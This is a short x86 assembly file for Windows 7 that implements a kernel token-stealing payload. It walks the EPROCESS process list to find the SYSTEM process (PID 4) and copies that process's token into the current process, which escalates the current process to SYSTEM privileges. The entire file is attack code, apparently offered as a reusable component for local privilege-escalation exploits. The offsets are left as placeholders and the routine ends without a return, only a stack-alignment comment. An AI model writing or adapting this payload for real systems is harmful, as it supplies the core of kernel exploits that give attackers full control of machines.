Windows 7 x86 Token Stealing Payload

x86_7.asm

.386
.model flat, stdcall
ASSUME FS:NOTHING
.code
PUBLIC get_token
get_token PROC

pushad; Save registers state

; Get pointer to _EPROCESS Structure
xor eax, eax ; Set Zero
mov eax, DWORD PTR fs:[KTHREAD_OFFSET] ; nt!_KPRC -> PrcbData -> CurrentThread
mov eax, [eax + EPROCESS_OFFSET]  ; nt!_KTHREAD -> APCState -> Process
mov ecx, eax ; Copy current _EPROCESS structure 

; Get Current Process Token
mov ebx, [eax + TOKEN] ; Copy current nt!_EPROCESS -> Token

; Assign System PID
mov edx, SYSTEM_PID ; 0x004

; GetSystemPID Loop Logic
; pprocess = current_process
; while pprocess->UniqueProcessId ! = SystemProcess->UniqueProcessId {
; pprocess = pprocess->Flink
; }

GetSystemPID: 
mov eax, [eax + FLINK_OFFSET] ; nt!_EPROCESS -> ActiveProcessLinks[0] -> Flink
sub eax, FLINK_OFFSET ; Next Process
cmp[eax + Unique_PID], edx ; Compare the Unique Process ID with 4
jne GetSystemPID

mov edx, [eax + TOKEN] ; Copy SYSTEM process nt!_EPRCOESS -> Token
mov[ecx + TOKEN], edx  ; Copy token of system to current process

popad; Restore Registers state 

; stack_alignment

get_token ENDP
END